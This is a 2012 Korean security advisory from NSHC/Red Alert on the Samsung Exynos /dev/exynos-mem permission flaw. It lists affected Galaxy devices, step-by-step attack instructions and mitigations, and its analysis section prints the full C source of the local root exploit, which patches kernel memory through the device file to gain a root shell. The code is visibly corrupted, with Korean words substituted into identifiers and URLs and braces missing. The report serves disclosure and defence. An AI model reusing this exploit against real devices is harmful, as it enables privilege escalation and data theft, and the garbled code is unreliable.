NSHC 2012. 12. 19. 취약점 분석 보고서 Information Service about a new vulnerability [ ]
목 차 1. 개 요... 2 2. 공 격... 5 3. 분 석... 9 4. 결 론... 12 5. 대응방안... 12 6. 참고자료... 13 Copyright 2012 Red Alert. All Rights Reserved. 1
1. 개 요 삼성에서 제작된 ARM Cortex-A8과 ARM Cortex-A9 계열 프로세서의 시스템 온 칩인 엑시노스에 서 관리자 권한 없이 물리적 메모리 데이터를 수정할 수 있는 취약점이 발견되었습니다. 해당 취 약점이 악용될 경우 개인 정보 유출 및 중요 데이터 탈취 등에 노출될 수 있습니다. 해당 취약점 은 안드로이드 운영체제의 취약점이 아닌 커널 내의 권한을 이용하기 때문에 루팅 여부에 관계 없이 메모리 변조가 가능합니다. 현재 대응패치¹가 배포되고 있습니다. 하지만 해당 패치 적용을 위해서는 루팅을 해야 한다는 점과, 패치 적용 후 카메라 기능을 사용할 수 없다는 문제가 있습 니다. 그림 1. 대응패치 ExynosAbuse.apk 화면 1) http://training.nshc.net:8080/util/exynosabuse-v1.30.apk 출처- forum.xda-developers.com Copyright 2012 Red Alert. All Rights Reserved. 2
그림 2. 대응패치 활성화 화면 그림 3. 대응패치 후 카메라 화면 Copyright 2012 Red Alert. All Rights Reserved. 3
엑시노스에서 /dev/exynos-mem 메모리 영역을 이용하는 라이브러리 목록은 아래와 같습니다. /system/lib/hw/camera.smdk4x12.so /system/lib/hw/gralloc.smdk4x12.so /system /lib/libhdmi.so 표 1. /dev/exynos-mem 이용 라이브러리 목록 /dev/exynos-mem 메모리 영역을 이용하면, 시스템 상의 모든 물리 메모리영역에 접근이 가능해 집니다. 해당 영역에 권한 값이 잘 못 설정된다면, 공격자가 원하는 코드를 실행시킬 수 있습니다. 시스템 관리자 권한 없이도 해당 영역에 쓰기 권한을 설정할 수 있는 취약점이기 때문에 루팅 여 부와 관계 없이 공격이 가능하며, 해당 취약점으로 공유 메모리 맵핑으로 동기화 시키며, 시스템 관리자 권한 획득 코드 등을 실행시켜 권한 탈취가 가능할 수 있습니다. 취약점 이름 시스템 관리자 exploit on Exynos 최초 발표일 2012년 12월 15일 문서 작성일 2012년 12월 19일 Version Exynos 4210, 4412 상태 취약 Vender Samsung Author alephzain 공격 범위 Local 공격 유형 메모리 변조 표 2. 취약점 정보 엑시노스 4210, 4412를 사용하고 있는 모든 단말기에서 취약합니다. Samsung Galaxy S3(국내, 국외) Samsung Galaxy S2(국외) Samsung Galaxy S2 GT-I9100(국외) Samsung Galaxy S3 GT-I9300(국외) Samsung Galaxy S3 LTE GT-I9305(국외) Samsung Galaxy Note GT-N7000(국외) Samsung Galaxy Note 2 GT-N7100(국외) Samsung Galaxy Note 2 LTE GT-N7105(국외) AT&T Galaxy Note 2 SGH-I317(국외) Samsung Galaxy Tab Plus GT-P6210(국외) Samsung Galaxy Note 10.1 GT-N8000, GT-N8010, GT-N8013, GT-N8020 (국외) 표 3. 대상시스템 Copyright 2012 Red Alert. All Rights Reserved. 4
2. 공 격 가. 공격 코드를 컴파일한 파일을 취약한 단말기에 넣어줍니다. 나. 취약 단말기에서 관리자 권한을 가져와 공격 파일에 실행 권한을 줍니다. 다. 관리자 권한에서 사용자 권한으로 전환합니다. 라. 취약점을 이용한 공격코드로 인해 관리자 권한의 shell이 뜨는지 확인합니다. 삼성 갤럭시S III(Samsung Galaxy S III, Samsung I9300)는 삼성전자에서 출시한 안드로이드 스마트 폰으로, 갤럭시S2의 후속 기종이다. 출시 당시 안드로이드 4.0.4 아이스크림 샌드위치를 탑재하였 다. 약 150개국 300여곳의 이동통신사에서 판매하고 있다. 그림1. 대상 단말기 Copyright 2012 Red Alert. All Rights Reserved. 5
가. 공격 코드를 컴파일한 파일을 취약한 단말기에 넣어줍니다. 그림2. 공격 파일 삽입 나. 취약 단말기에서 관리자 권한을 가져와 공격 파일에 실행 권한을 줍니다. 그림3. 공격 파일 실행 권한 부여 다. 관리자 권한에서 사용자 권한으로 전환합니다. 그림4. 공격 코드 성공 여부 확인을 위한 권한 변경 라. 취약점을 이용한 공격코드로 인해 관리자 권한의 shell이 뜨는지 확인합니다. 그림5. 공격 코드로 인해 관리자 권한으로 shell 성공 Copyright 2012 Red Alert. All Rights Reserved. 6
그림6. ExynosAbuse 어플로 인한 카메라 문제점 그림7. Disable exploit 후의 권한 Disable exploit후의 exynos-mem의 권한이 소유자 읽기 권한만 놔두고 모두 지워 버린 것을 볼 수 있습니다. 이를 해결 하기 위해 exynos-mem의 권한중 other권한에 rw를 부여 해야합니다. Copyright 2012 Red Alert. All Rights Reserved. 7
그림8. Other에 읽기 쓰기 권한을 부여 그림9. 권한을 부여 후 정상 작동하는 카메라 본 보고서의 취약점이 exynos-mem의 잘못된 권한 부여로 인해 발생되지만 이 잘못된 권한 부여를 제거할 경우 카메라 어플이 정상 작동하지 않습니다. 이를 해결하기 위해선 other 권한에 읽기 쓰기 권한을 다 부 여해야만 하며 이는 취약점이 있는 상태에서만 카메라 어플이 정상 작동함을 의미 합니다. 이는 잘못된 부 분이며 exynos-mem의 권한부여 수정과 함께 카메라 어플도 같이 수정 해야 됨을 의미합니다. Copyright 2012 Red Alert. All Rights Reserved. 8
3. 분 석 #include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdbool.h> #define PAGE_OFFSET 0xC0000000 #define PHYS_OFFSET 0x40000000 int main(int argc, char **argv, char **env) { int fd, i, m, index, result; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_fmt = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym; int page_size = sysconf(_sc_page_size); int length = page_size * page_size; /* 시스템 관리자 shell 을위한인자값선언*/ char *cmd[2]; cmd[0] = "/system/bin/sh"; cmd[1] = NULL; /* /proc/kallsyms 파씽을 위한 변수 선언*/ FILE *kallsyms = NULL; char line [512]; char *ptr; char *str; bool found = false; /* /dev/exynos-mem 읽기 쓰기 권한으로 열기*/ fd = open("/dev/exynos-mem", O_RDWR); if (fd == -1) { printf("[!] Error opening /dev/exynos-mem\n"); exit(1); /* 물리적 메모리 주소를 사용하기 위해 읽기 쓰기 권한이 있는 0x40000000 주소부터 length만큼을 공유하는 파일형식의 가상 메모리 맵 생성(이 가상 메모리로 물리메모리를 동기화하여 사용)*/ paddr = (unsigned long *)mmap(null, length, PROT_읽기 PROT_쓰기, MAP_SHARED, fd, PHYS_OFFSET); tmp = paddr; if (paddr == MAP_FAILED) { printf("[!] Error mmap: %s %08X\n",strerror(errno), i); exit(1); Copyright 2012 Red Alert. All Rights Reserved. 9
/* "%pk %c %s\n"문자열을 메모리안에서검색 "%pk %c %s\n"문자열을 "%p"로 변환 */ for(m = 0; m < length; m += 4) { if(*(unsigned long *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && *(unsigned long *)(tmp+2) == 0x00000a73 ) { printf("[*] s_show->seq_printf format string found at: 0x%08X\n", PAGE_OFFSET + m); restore_ptr_fmt = tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; tmp++; if (found == false) { printf("[!] s_show->seq_printf format string not found\n"); exit(1); found = false; /* /proc/kallsyms 읽기권한으로 생성 */ kallsyms = fopen("/proc/kallsyms", "r"); if (kallsyms == NULL) { printf("[!] kallsysms error: %s\n", strerror(errno)); exit(1); /* kallsyms 의 setresuid 주소 검색 및 변조 */ while((ptr = fgets(line, 512, kallsyms))) { str = strtok(ptr, " "); addr_sym = strtoul(str, NULL, 16); index = 1; while(str) { str = strtok(null, " "); index++; if (index == 3) { if (strncmp("sys_setresuid\n", str, 14) == 0) { printf("[*] sys_setresuid found at 0x%08X\n",addr_sym); found = true; break; if (found) { tmp = paddr; tmp += (addr_sym - PAGE_OFFSET) >> 2; for(m = 0; m < 128; m += 4) { if (*(unsigned long *)tmp == 0xe3500000) { printf("[*] patching sys_setresuid at 0x%08X\n",addr_sym+m); restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; tmp++; break; Copyright 2012 Red Alert. All Rights Reserved. 10
fclose(kallsyms); /* /dev/exynos-mem 와 가상 메모리 동기화 시간 */ usleep(100000); /* 시스템 관리자권한획득 */ result = setresuid(0, 0, 0); /* 변조된메모리복구 */ *(unsigned long *)restore_ptr_fmt = 0x204b7025; *(unsigned long *)restore_ptr_setresuid = 0xe3500000; munmap(paddr, length); close(fd); if (result) { printf("[!] set user 시스템 관리자 failed: %s\n", strerror(errno)); exit(1); /* 획득한 관리자 권한으로 쉘 실행 */ execve (cmd[0], cmd, env); return 0; 표 4. 공격 코드 취약한 메모리 영역인 /dev/exynos-mem을 읽기 쓰기 권한으로 오픈합니다.(정상적인 권한이라면 /dev/exynos-mem에 읽기 권한만 있어야 될 것 입니다.) 가상의 공유 메모리 맵을 만들어서 /dev/exynos-mem영역을 가상 메모리로 동기화 시키면서 변조 할 수 있으며 이를 이용하여 위 루트 권한을 가져오는 공격코드가 작동 됩니다. Copyright 2012 Red Alert. All Rights Reserved. 11
4. 결 론 권한이 없는 일반 사용자 계정으로 특정 물리 메모리 공간의 변조가 가능한 취약점이므로, 커널 에 코드 주입이 손 쉽게 이루어 질 수 있습니다. 커널에 주입된 코드는 관리자 권한 획득, 메모리 덤프 등을 수행할 수 있습니다. 이러한 취약점은 보안 접근자를 무력화 해버리기 때문에 심각한 보안 위협이라고 할 수 있습니다. 5. 대응방안 해당 취약점에 대한 긴급패치로 XDA 개발자 포럼에서 내놓은 'ExynosAbuse'는 문제를 해결하기 위한 방안으로 '쓰기' 권한을 제거 하는 것으로 추측됩니다. 때문에 카메라 어플리케이션의 동작 장애가 발생하는 것으로 보입니다. 긴급패치는 카메라 어플리케이션의 동작장애 및 루팅을 해야 한다는 단점이 있지만 현재까지 가장 안전한 대응책으로써, 근본적인 해결 방법은 벤더사의 패치 외에는 없다고 판단됩니다. Copyright 2012 Red Alert. All Rights Reserved. 12
6. 참고자료 [1] 취약점 본문 http://forum.xda-developers.com/showth읽기.php?t=2047991 http://forum.xda-developers.com/showth읽기.php?t=2048511 [2] ExynosAbuse APK http://forum.xda-developers.com/showth읽기.php?t=2050297 [3] ExynosAbuse APK 이미지 http://justine1221.blog.me/10154675470 Copyright 2012 Red Alert. All Rights Reserved. 13